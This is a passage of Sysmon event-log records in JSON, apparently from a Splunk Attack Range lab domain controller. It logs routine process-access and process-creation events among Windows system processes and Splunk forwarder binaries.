C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:39.729","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-41EF-5F2D-0000-001056070900}","TargetProcessId":"3696","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6127,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:39.854\r\nSourceProcessGUID: {90617006-41EF-5F2D-0000-001056070900}\r\nSourceProcessId: 3696\r\nSourceThreadId: 4372\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:39.854","SourceProcessGUID":"{90617006-41EF-5F2D-0000-001056070900}","SourceProcessId":"3696","SourceThreadId":"4372","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6128,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:40.370\r\nProcessGuid: {90617006-41F0-5F2D-0000-001000090900}\r\nProcessId: 3852\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Registry monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-regmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:58:40.370","ProcessGuid":"{90617006-41F0-5F2D-0000-001000090900}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","FileVersion":"8.0.2","Description":"Registry monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-regmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6129,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:40.370\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-41F0-5F2D-0000-001000090900}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:40.370","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-41F0-5F2D-0000-001000090900}","TargetProcessId":"3852","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6130,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:40.370\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-41F0-5F2D-0000-001000090900}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:40.370","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-41F0-5F2D-0000-001000090900}","TargetProcessId":"3852","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6131,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:40.370\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:40.370","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6132,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:40.370\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:40.370","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6133,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:40.370\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:40.370","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6134,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:40.370\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:40.370","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6135,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:40.370\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 